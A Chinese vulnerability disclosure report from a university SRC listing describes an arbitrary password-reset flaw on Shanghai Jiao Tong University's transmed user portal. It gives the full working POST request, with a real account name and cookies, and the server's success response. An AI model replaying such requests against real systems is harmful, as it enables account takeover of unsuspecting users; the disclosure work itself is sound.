

上海交通大学

时间	单位	作者	等级	Rank
2023-10-11 16:49:03	上海交通大学 (https://src.sjtu.edu.cn/list/firm/3761)		高危	2

上海交通大学存在逻辑漏洞

URL---https://user.transmed.sjtu.edu.cn/ums/user/index.html#/register

首先随便注册一个用户



然后注册成功之后，这里有一个修改密码的接口，然后点击并尝试修改post传参，发现可以越权任意修改其他用户密码。

修改密码



账号 test888

新密码

确认密码

取消

确定

角色审批状态

等待审批

只需要修改用户名称即可。这里通过之前的未授权访问userlist得到用户名，然后修改回显修改成功，如果用户没有回显失败。

uest

```
POST /ums/userPassword HTTP/1.1
Host: user.transmed.sjtu.edu.cn
Accept: application/json, text/plain, */*
Accept-Encoding: identity
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Content-Length: 74
Content-Type: application/json;charset=UTF-8
Cookie: _ga=GA1.3.2104879161.1676885454; FT_121154=638196771547105922; LT_121154=638196771547105922; VT_121154=1; SID_121154=6582842014948485; VID_121154=6636350385689023; VN_121154=IzE2MDU1NDcx; LO_121154=0; VP_121154=2; _gid=GA1.3.1506161449.1697009460; _ga_QP6YR9D8CK=GS1.3.1697009461.2.0.1697009461.0.0.0
Origin: https://user.transmed.sjtu.edu.cn
Referer: https://user.transmed.sjtu.edu.cn/ums/user/index.html
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
sec-ch-ua: "Chromium";v="110", "Not A(Brand";v="24", "Google Chrome";v="110"
sec-ch-ua-mobile: >0
sec-ch-ua-platform: "Windows"

{"userAccount": "h187333", "password": "b953eaf1776d641f41fe5dd8bd9a2254"}
```

Responses https 133bytes / 49ms

请输入定位响应

```
1 HTTP/1.1 200 OK DNS耗时:9ms; 远端地址:202.120.
2 Server: nginx 35.241.443; 响应时间:49ms; 总耗
3 Date: Wed, 11 Oct 2023 08:43:54 GMT 时:125ms; URL:https://user.trans
4 Content-Type: application/json; charset=utf-8 med.sjtu.edu...
5 Connection: keep-alive
6 X-Powered-By: Express
7 Access-Control-Allow-Credentials: true
8 Access-Control-Allow-Origin: https://user.transmed.sjtu.edu.cn
9 Access-Control-Allow-Headers: X-Requested-With,Content-Type
10 Access-Control-Allow-Methods: PUT,POST,GET,DELETE,OPTIONS
11 ETag: W/"63-0xu/fnhRuol1BSuwpK3Gme9nD0Q"
12 X-Frame-Options: SAMEORIGIN
13 Access-Control-Allow-Credentials: false
14 X-XSS-Protection: 1; mode=block
15 X-Content-Type-Options: nosniff
16 Strict-Transport-Security: max-age=31536000; includeSubDomains
17 X-Nginx-Debug-variables: host=user.transmed.sjtu.edu.cn,request_uri=/ums/ums/userPassword,
18 Content-Length: 133
19
20 {
21   ...."code":100,
22   ...."msg":"请求成功"
23   ...."extend":{
24     ...."returnMsg":"校外用户: h187333修改密码成功"
25   }
26 }
```

